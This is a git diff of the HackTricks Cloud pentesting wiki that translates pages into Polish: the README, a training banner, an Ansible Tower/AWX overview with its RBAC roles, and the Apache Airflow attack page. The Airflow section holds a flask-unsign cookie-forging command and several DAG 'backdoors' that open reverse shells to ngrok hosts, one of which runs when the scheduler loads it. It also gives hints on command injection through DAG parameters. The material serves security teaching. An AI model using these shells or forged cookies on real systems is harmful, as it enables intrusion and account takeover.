diff --git a/src/README.md b/src/README.md index 01b146fd1..81fd45a0b 100644 --- a/src/README.md +++ b/src/README.md @@ -9,23 +9,23 @@ Reading time: {{ #reading_time }} _Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ > [!TIP] -> Welcome to the page where you will find each **hacking trick/technique/whatever related to CI/CD & Cloud** I have learnt in **CTFs**, **real** life **environments**, **researching**, and **reading** researches and news. +> Witaj na stronie, na której znajdziesz każdy **hacking trick/technique/whatever związany z CI/CD i Cloud**, którego nauczyłem się w **CTF**, **prawdziwych** środowiskach **życiowych**, **badaniach** oraz **czytaniu** badań i wiadomości. ### **Pentesting CI/CD Methodology** -**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:** +**W metodologii HackTricks CI/CD znajdziesz, jak przeprowadzać pentesting infrastruktury związanej z działalnością CI/CD.** Przeczytaj następującą stronę, aby uzyskać **wprowadzenie:** [pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md) ### Pentesting Cloud Methodology -**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:** +**W metodologii HackTricks Cloud znajdziesz, jak przeprowadzać pentesting środowisk chmurowych.** Przeczytaj następującą stronę, aby uzyskać **wprowadzenie:** [pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md) ### License & Disclaimer -**Check them in:** +**Sprawdź je w:** [HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq) @@ -34,7 +34,3 @@ _Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.co ![HackTricks Cloud Github Stats](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg) {{#include ./banners/hacktricks-training.md}} - - - - diff --git a/src/SUMMARY.md b/src/SUMMARY.md index feae5163c..1b1d60c58 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -505,3 +505,5 @@ + + diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index b684cee3d..553595841 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -1,17 +1,13 @@ > [!TIP] -> Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -> Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +> Ucz się i ćwicz AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +> Ucz się i ćwicz GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) > >
> -> Support HackTricks +> Wsparcie HackTricks > -> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +> - Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)! +> - **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +> - **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github. > >
- - - - diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md index d3fbf19e5..3abc20dea 100644 --- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md +++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md @@ -4,60 +4,59 @@ ## Basic Information -**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansible’s user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Tower’s REST API and command-line interface make it simple to integrate it into current tools and workflows. +**Ansible Tower** lub jego wersja open source [**AWX**](https://github.com/ansible/awx) jest znany jako **interfejs użytkownika Ansible, pulpit nawigacyjny i REST API**. Dzięki **kontroli dostępu opartej na rolach**, harmonogramowaniu zadań i graficznemu zarządzaniu inwentarzem, możesz zarządzać swoją infrastrukturą Ansible z nowoczesnego interfejsu. REST API Towera i interfejs wiersza poleceń ułatwiają integrację z obecnymi narzędziami i przepływami pracy. -**Automation Controller is a newer** version of Ansible Tower with more capabilities. +**Automation Controller to nowsza** wersja Ansible Tower z większymi możliwościami. ### Differences -According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows. +Zgodnie z [**tym**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), główne różnice między Ansible Tower a AWX to otrzymywane wsparcie, a Ansible Tower ma dodatkowe funkcje, takie jak kontrola dostępu oparta na rolach, wsparcie dla niestandardowych API oraz zdefiniowane przez użytkownika przepływy pracy. ### Tech Stack -- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs. -- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface. -- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data. -- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners. -- **Redis**: Redis serves as a cache and a backend for the task queue. +- **Web Interface**: To graficzny interfejs, w którym użytkownicy mogą zarządzać inwentarzami, poświadczeniami, szablonami i zadaniami. Został zaprojektowany tak, aby był intuicyjny i zapewniał wizualizacje pomagające w zrozumieniu stanu i wyników twoich zadań automatyzacji. +- **REST API**: Wszystko, co możesz zrobić w interfejsie webowym, możesz również zrobić za pomocą REST API. Oznacza to, że możesz zintegrować AWX/Tower z innymi systemami lub skryptować działania, które zazwyczaj wykonujesz w interfejsie. +- **Database**: AWX/Tower używa bazy danych (zazwyczaj PostgreSQL) do przechowywania swojej konfiguracji, wyników zadań i innych niezbędnych danych operacyjnych. +- **RabbitMQ**: To system komunikacji używany przez AWX/Tower do komunikacji między różnymi komponentami, szczególnie między usługą webową a wykonawcami zadań. +- **Redis**: Redis służy jako pamięć podręczna i zaplecze dla kolejki zadań. ### Logical Components -- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc. -- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed.. -- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job. -- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run. -- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials. -- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events. -- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc. -- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed. +- **Inventories**: Inwentarz to **zbiór hostów (lub węzłów)**, na których mogą być **uruchamiane zadania** (playbooki Ansible). AWX/Tower pozwala na definiowanie i grupowanie inwentarzy oraz wspiera dynamiczne inwentarze, które mogą **pobierać listy hostów z innych systemów** takich jak AWS, Azure itp. +- **Projects**: Projekt to zasadniczo **zbiór playbooków Ansible** pochodzących z **systemu kontroli wersji** (takiego jak Git), aby pobierać najnowsze playbooki w razie potrzeby. +- **Templates**: Szablony zadań definiują **jak dany playbook będzie uruchamiany**, określając **inwentarz**, **poświadczenia** i inne **parametry** dla zadania. +- **Credentials**: AWX/Tower zapewnia bezpieczny sposób **zarządzania i przechowywania sekretów, takich jak klucze SSH, hasła i tokeny API**. Te poświadczenia mogą być powiązane z szablonami zadań, aby playbooki miały niezbędny dostęp podczas uruchamiania. +- **Task Engine**: To tutaj dzieje się magia. Silnik zadań oparty jest na Ansible i odpowiada za **uruchamianie playbooków**. Zadania są przekazywane do silnika zadań, który następnie uruchamia playbooki Ansible na wyznaczonym inwentarzu, używając określonych poświadczeń. +- **Schedulers and Callbacks**: To zaawansowane funkcje w AWX/Tower, które pozwalają na **harmonogramowanie zadań** do uruchamiania w określonych czasach lub wyzwalane przez zdarzenia zewnętrzne. +- **Notifications**: AWX/Tower może wysyłać powiadomienia w zależności od sukcesu lub niepowodzenia zadań. Obsługuje różne środki powiadomień, takie jak e-maile, wiadomości Slack, webhooki itp. +- **Ansible Playbooks**: Playbooki Ansible to narzędzia do konfiguracji, wdrażania i orkiestracji. Opisują pożądany stan systemów w sposób zautomatyzowany i powtarzalny. Napisane w YAML, playbooki używają deklaratywnego języka automatyzacji Ansible do opisywania konfiguracji, zadań i kroków, które muszą być wykonane. ### Job Execution Flow -1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower. +1. **User Interaction**: Użytkownik może interagować z AWX/Tower za pośrednictwem **Web Interface** lub **REST API**. Te zapewniają dostęp front-end do wszystkich funkcji oferowanych przez AWX/Tower. 2. **Job Initiation**: - - The user, via the Web Interface or API, initiates a job based on a **Job Template**. - - The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**. - - Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution. +- Użytkownik, za pośrednictwem interfejsu webowego lub API, inicjuje zadanie na podstawie **Job Template**. +- Szablon zadania zawiera odniesienia do **Inventory**, **Project** (zawierającego playbook) i **Credentials**. +- Po inicjacji zadania, żądanie jest wysyłane do zaplecza AWX/Tower, aby umieścić zadanie w kolejce do wykonania. 3. **Job Queuing**: - - **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ. - - **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution. +- **RabbitMQ** obsługuje komunikację między komponentem webowym a wykonawcami zadań. Gdy zadanie jest inicjowane, wiadomość jest wysyłana do silnika zadań za pomocą RabbitMQ. +- **Redis** działa jako zaplecze dla kolejki zadań, zarządzając zadaniami w kolejce oczekującymi na wykonanie. 4. **Job Execution**: - - The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials. - - Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**. - - As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**. +- **Task Engine** odbiera zadanie z kolejki. Pobiera niezbędne informacje z **Database** o powiązanym playbooku, inwentarzu i poświadczeniach. +- Używając pobranego playbooka Ansible z powiązanego **Project**, silnik zadań uruchamia playbook na określonych węzłach **Inventory** przy użyciu podanych **Credentials**. +- W miarę uruchamiania playbooka, jego wyniki wykonania (logi, fakty itp.) są rejestrowane i przechowywane w **Database**. 5. **Job Results**: - - Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**. - - Users can then view the results through the Web Interface or query them via the REST API. - - Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc. +- Gdy playbook kończy działanie, wyniki (sukces, niepowodzenie, logi) są zapisywane w **Database**. +- Użytkownicy mogą następnie przeglądać wyniki za pośrednictwem interfejsu webowego lub zapytywać je za pomocą REST API. +- W zależności od wyników zadań, **Notifications** mogą być wysyłane, aby informować użytkowników lub zewnętrzne systemy o statusie zadania. Powiadomienia mogą być e-mailami, wiadomościami Slack, webhookami itp. 6. **External Systems Integration**: - - **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more. - - **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution. - - **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times. +- **Inventories** mogą być dynamicznie pozyskiwane z zewnętrznych systemów, co pozwala AWX/Tower na pobieranie hostów z takich źródeł jak AWS, Azure, VMware i inne. +- **Projects** (playbooki) mogą być pobierane z systemów kontroli wersji, zapewniając użycie aktualnych playbooków podczas wykonywania zadań. +- **Schedulers and Callbacks** mogą być używane do integracji z innymi systemami lub narzędziami, co sprawia, że AWX/Tower reaguje na zewnętrzne wyzwalacze lub uruchamia zadania w ustalonych czasach. ### AWX lab creation for testing -[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX: - +[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) można użyć docker-compose do uruchomienia AWX: ```bash git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version @@ -83,61 +82,56 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser # Load demo data docker exec tools_awx_1 awx-manage create_preload_data ``` - ## RBAC -### Supported roles +### Obsługiwane role -The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**. +Najbardziej uprzywilejowaną rolą jest **Administrator Systemu**. Każdy z tą rolą może **modyfikować wszystko**. -From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one. +Z perspektywy **przeglądu bezpieczeństwa białej skrzynki**, potrzebujesz roli **Audytora Systemu**, która pozwala na **przeglądanie wszystkich danych systemowych**, ale nie może wprowadzać żadnych zmian. Inną opcją byłoby uzyskanie roli **Audytora Organizacji**, ale lepiej byłoby uzyskać tę drugą.
-Expand this to get detailed description of available roles +Rozwiń, aby uzyskać szczegółowy opis dostępnych ról -1. **System Administrator**: - - This is the superuser role with permissions to access and modify any resource in the system. - - They can manage all organizations, teams, projects, inventories, job templates, etc. -2. **System Auditor**: - - Users with this role can view all system data but cannot make any changes. - - This role is designed for compliance and oversight. -3. **Organization Roles**: - - **Admin**: Full control over the organization's resources. - - **Auditor**: View-only access to the organization's resources. - - **Member**: Basic membership in an organization without any specific permissions. - - **Execute**: Can run job templates within the organization. - - **Read**: Can view the organization’s resources. -4. **Project Roles**: - - **Admin**: Can manage and modify the project. - - **Use**: Can use the project in a job template. - - **Update**: Can update project using SCM (source control). -5. **Inventory Roles**: - - **Admin**: Can manage and modify the inventory. - - **Ad Hoc**: Can run ad hoc commands on the inventory. - - **Update**: Can update the inventory source. - - **Use**: Can use the inventory in a job template. - - **Read**: View-only access. -6. **Job Template Roles**: - - **Admin**: Can manage and modify the job template. - - **Execute**: Can run the job. - - **Read**: View-only access. -7. **Credential Roles**: - - **Admin**: Can manage and modify the credentials. - - **Use**: Can use the credentials in job templates or other relevant resources. - - **Read**: View-only access. -8. **Team Roles**: - - **Member**: Part of the team but without any specific permissions. - - **Admin**: Can manage the team's members and associated resources. -9. **Workflow Roles**: - - **Admin**: Can manage and modify the workflow. - - **Execute**: Can run the workflow. - - **Read**: View-only access. +1. **Administrator Systemu**: +- To rola superużytkownika z uprawnieniami do dostępu i modyfikacji każdego zasobu w systemie. +- Może zarządzać wszystkimi organizacjami, zespołami, projektami, inwentarzami, szablonami zadań itp. +2. **Audytor Systemu**: +- Użytkownicy z tą rolą mogą przeglądać wszystkie dane systemowe, ale nie mogą wprowadzać żadnych zmian. +- Ta rola jest zaprojektowana dla zgodności i nadzoru. +3. **Role Organizacji**: +- **Admin**: Pełna kontrola nad zasobami organizacji. +- **Audytor**: Tylko dostęp do przeglądania zasobów organizacji. +- **Członek**: Podstawowe członkostwo w organizacji bez żadnych specyficznych uprawnień. +- **Wykonaj**: Może uruchamiać szablony zadań w organizacji. +- **Przeczytaj**: Może przeglądać zasoby organizacji. +4. **Role Projektów**: +- **Admin**: Może zarządzać i modyfikować projekt. +- **Użyj**: Może używać projektu w szablonie zadania. +- **Aktualizuj**: Może aktualizować projekt za pomocą SCM (kontrola wersji). +5. **Role Inwentarza**: +- **Admin**: Może zarządzać i modyfikować inwentarz. +- **Ad Hoc**: Może uruchamiać polecenia ad hoc na inwentarzu. +- **Aktualizuj**: Może aktualizować źródło inwentarza. +- **Użyj**: Może używać inwentarza w szablonie zadania. +- **Przeczytaj**: Tylko dostęp do przeglądania. +6. **Role Szablonów Zadań**: +- **Admin**: Może zarządzać i modyfikować szablon zadania. +- **Wykonaj**: Może uruchomić zadanie. +- **Przeczytaj**: Tylko dostęp do przeglądania. +7. **Role Poświadczeń**: +- **Admin**: Może zarządzać i modyfikować poświadczenia. +- **Użyj**: Może używać poświadczeń w szablonach zadań lub innych odpowiednich zasobach. +- **Przeczytaj**: Tylko dostęp do przeglądania. +8. **Role Zespołów**: +- **Członek**: Część zespołu, ale bez żadnych specyficznych uprawnień. +- **Admin**: Może zarządzać członkami zespołu i powiązanymi zasobami. +9. **Role Przepływu Pracy**: +- **Admin**: Może zarządzać i modyfikować przepływ pracy. +- **Wykonaj**: Może uruchomić przepływ pracy. +- **Przeczytaj**: Tylko dostęp do przeglądania.
{{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md index aac46128c..c1d049456 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/README.md +++ b/src/pentesting-ci-cd/apache-airflow-security/README.md @@ -2,22 +2,21 @@ {{#include ../../banners/hacktricks-training.md}} -### Basic Information +### Podstawowe informacje -[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications. +[**Apache Airflow**](https://airflow.apache.org) służy jako platforma do **orkiestrowania i planowania potoków danych lub przepływów pracy**. Termin "orkiestracja" w kontekście potoków danych oznacza proces aranżowania, koordynowania i zarządzania złożonymi przepływami danych pochodzącymi z różnych źródeł. Głównym celem tych orkiestrujących potoków danych jest dostarczenie przetworzonych i nadających się do użycia zbiorów danych. Zbiory te są szeroko wykorzystywane przez wiele aplikacji, w tym, ale nie tylko, narzędzia do analizy biznesowej, modele nauki o danych i uczenia maszynowego, które są podstawą funkcjonowania aplikacji big data. -Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**. +W zasadzie, Apache Airflow pozwoli Ci **zaplanować wykonanie kodu, gdy coś** (zdarzenie, cron) **się wydarzy**. -### Local Lab +### Lokalna laboratoria #### Docker-Compose -You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM). +Możesz użyć **pliku konfiguracyjnego docker-compose z** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml), aby uruchomić kompletną środowisko docker apache airflow. (Jeśli jesteś na MacOS, upewnij się, że przydzielisz co najmniej 6 GB RAM dla VM docker). #### Minikube -One easy way to **run apache airflo**w is to run it **with minikube**: - +Jednym z łatwych sposobów na **uruchomienie apache airflow** jest uruchomienie go **z minikube**: ```bash helm repo add airflow-stable https://airflow-helm.github.io/charts helm repo update @@ -27,76 +26,72 @@ helm install airflow-release airflow-stable/airflow # Use this command to delete it helm delete airflow-release ``` +### Konfiguracja Airflow -### Airflow Configuration - -Airflow might store **sensitive information** in its configuration or you can find weak configurations in place: +Airflow może przechowywać **wrażliwe informacje** w swojej konfiguracji lub możesz znaleźć słabe konfiguracje: {{#ref}} airflow-configuration.md {{#endref}} -### Airflow RBAC +### RBAC Airflow -Before start attacking Airflow you should understand **how permissions work**: +Zanim zaczniesz atakować Airflow, powinieneś zrozumieć **jak działają uprawnienia**: {{#ref}} airflow-rbac.md {{#endref}} -### Attacks +### Ataki -#### Web Console Enumeration +#### Enumeracja konsoli internetowej -If you have **access to the web console** you might be able to access some or all of the following information: +Jeśli masz **dostęp do konsoli internetowej**, możesz uzyskać dostęp do niektórych lub wszystkich następujących informacji: -- **Variables** (Custom sensitive information might be stored here) -- **Connections** (Custom sensitive information might be stored here) - - Access them in `http:///connection/list/` -- [**Configuration**](./#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here) -- List **users & roles** -- **Code of each DAG** (which might contain interesting info) +- **Zmienne** (Własne wrażliwe informacje mogą być tutaj przechowywane) +- **Połączenia** (Własne wrażliwe informacje mogą być tutaj przechowywane) +- Uzyskaj do nich dostęp w `http:///connection/list/` +- [**Konfiguracja**](./#airflow-configuration) (Wrażliwe informacje, takie jak **`secret_key`** i hasła mogą być tutaj przechowywane) +- Lista **użytkowników i ról** +- **Kod każdego DAG** (który może zawierać interesujące informacje) -#### Retrieve Variables Values +#### Pobieranie wartości zmiennych -Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http:///variable/list/`.\ -Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**. +Zmienne mogą być przechowywane w Airflow, aby **DAG** mogły **uzyskać** ich wartości. Jest to podobne do sekretów innych platform. Jeśli masz **wystarczające uprawnienia**, możesz uzyskać do nich dostęp w GUI w `http:///variable/list/`.\ +Airflow domyślnie pokaże wartość zmiennej w GUI, jednak zgodnie z [**tym**](https://marclamberti.com/blog/variables-with-apache-airflow/) możliwe jest ustawienie **listy zmiennych**, których **wartość** będzie wyświetlana jako **gwiazdki** w **GUI**. ![](<../../images/image (164).png>) -However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\ -To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\ -Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it: +Jednak te **wartości** mogą być nadal **pobrane** za pomocą **CLI** (musisz mieć dostęp do bazy danych), **wykonywania dowolnego DAG**, **API** uzyskującego dostęp do punktu końcowego zmiennych (API musi być aktywowane) i **nawet samego GUI!**\ +Aby uzyskać dostęp do tych wartości z GUI, wystarczy **wybrać zmienne**, do których chcesz uzyskać dostęp i **kliknąć na Akcje -> Eksportuj**.\ +Innym sposobem jest przeprowadzenie **bruteforce** na **ukrytej wartości** za pomocą **filtrowania wyszukiwania**, aż ją uzyskasz: ![](<../../images/image (152).png>) -#### Privilege Escalation - -If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**. +#### Eskalacja uprawnień +Jeśli konfiguracja **`expose_config`** jest ustawiona na **True**, z **rolą Użytkownik** i **wyżej** mogą **czytać** **konfigurację w sieci**. W tej konfiguracji pojawia się **`secret_key`**, co oznacza, że każdy użytkownik z tym ważnym kluczem może **utworzyć własny podpisany cookie, aby podszyć się pod inne konto użytkownika**. ```bash flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` +#### DAG Backdoor (RCE w Airflow worker) -#### DAG Backdoor (RCE in Airflow worker) - -If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\ -Note that this reverse shell is going to be executed inside an **airflow worker container**: - +Jeśli masz **uprawnienia do zapisu** w miejscu, gdzie **DAGi są zapisywane**, możesz po prostu **stworzyć jeden**, który wyśle ci **reverse shell.**\ +Zauważ, że ten reverse shell będzie wykonywany wewnątrz **kontenera airflow worker:** ```python import pendulum from airflow import DAG from airflow.operators.bash import BashOperator with DAG( - dag_id='rev_shell_bash', - schedule_interval='0 0 * * *', - start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), +dag_id='rev_shell_bash', +schedule_interval='0 0 * * *', +start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: - run = BashOperator( - task_id='run', - bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1', - ) +run = BashOperator( +task_id='run', +bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1', +) ``` ```python @@ -105,75 +100,66 @@ from airflow import DAG from airflow.operators.python import PythonOperator def rs(rhost, port): - s = socket.socket() - s.connect((rhost, port)) - [os.dup2(s.fileno(),fd) for fd in (0,1,2)] - pty.spawn("/bin/sh") +s = socket.socket() +s.connect((rhost, port)) +[os.dup2(s.fileno(),fd) for fd in (0,1,2)] +pty.spawn("/bin/sh") with DAG( - dag_id='rev_shell_python', - schedule_interval='0 0 * * *', - start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), +dag_id='rev_shell_python', +schedule_interval='0 0 * * *', +start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: - run = PythonOperator( - task_id='rs_python', - python_callable=rs, - op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} - ) +run = PythonOperator( +task_id='rs_python', +python_callable=rs, +op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} +) ``` +#### DAG Backdoor (RCE w harmonogramie Airflow) -#### DAG Backdoor (RCE in Airflow scheduler) - -If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder. - +Jeśli ustawisz coś do **wykonania w katalogu głównym kodu**, w momencie pisania tego tekstu, zostanie to **wykonane przez harmonogram** po kilku sekundach od umieszczenia go w folderze DAG. ```python import pendulum, socket, os, pty from airflow import DAG from airflow.operators.python import PythonOperator def rs(rhost, port): - s = socket.socket() - s.connect((rhost, port)) - [os.dup2(s.fileno(),fd) for fd in (0,1,2)] - pty.spawn("/bin/sh") +s = socket.socket() +s.connect((rhost, port)) +[os.dup2(s.fileno(),fd) for fd in (0,1,2)] +pty.spawn("/bin/sh") rs("2.tcp.ngrok.io", 14403) with DAG( - dag_id='rev_shell_python2', - schedule_interval='0 0 * * *', - start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), +dag_id='rev_shell_python2', +schedule_interval='0 0 * * *', +start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: - run = PythonOperator( - task_id='rs_python2', - python_callable=rs, - op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} +run = PythonOperator( +task_id='rs_python2', +python_callable=rs, +op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} ``` +#### Tworzenie DAG -#### DAG Creation +Jeśli uda ci się **skompromentować maszynę w klastrze DAG**, możesz stworzyć nowe **skrypty DAG** w folderze `dags/`, a one będą **replikowane w pozostałych maszynach** w klastrze DAG. -If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster. +#### Wstrzykiwanie kodu DAG -#### DAG Code Injection +Kiedy wykonujesz DAG z GUI, możesz **przekazać argumenty** do niego.\ +Dlatego, jeśli DAG nie jest odpowiednio zakodowany, może być **vulnerable to Command Injection.**\ +To właśnie wydarzyło się w tym CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) -When you execute a DAG from the GUI you can **pass arguments** to it.\ -Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\ -That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) - -All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**. - -Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**: +Wszystko, co musisz wiedzieć, aby **zacząć szukać wstrzyknięć poleceń w DAGach**, to że **parametry** są **dostępne** za pomocą kodu **`dag_run.conf.get("param_name")`**. +Ponadto, ta sama podatność może wystąpić z **zmiennymi** (zauważ, że przy wystarczających uprawnieniach możesz **kontrolować wartość zmiennych** w GUI). Zmienne są **dostępne za pomocą**: ```python from airflow.models import Variable [...] foo = Variable.get("foo") ``` - -If they are used for example inside a a bash command, you could perform a command injection. +Jeśli są używane na przykład wewnątrz polecenia bash, możesz wykonać wstrzyknięcie polecenia. {{#include 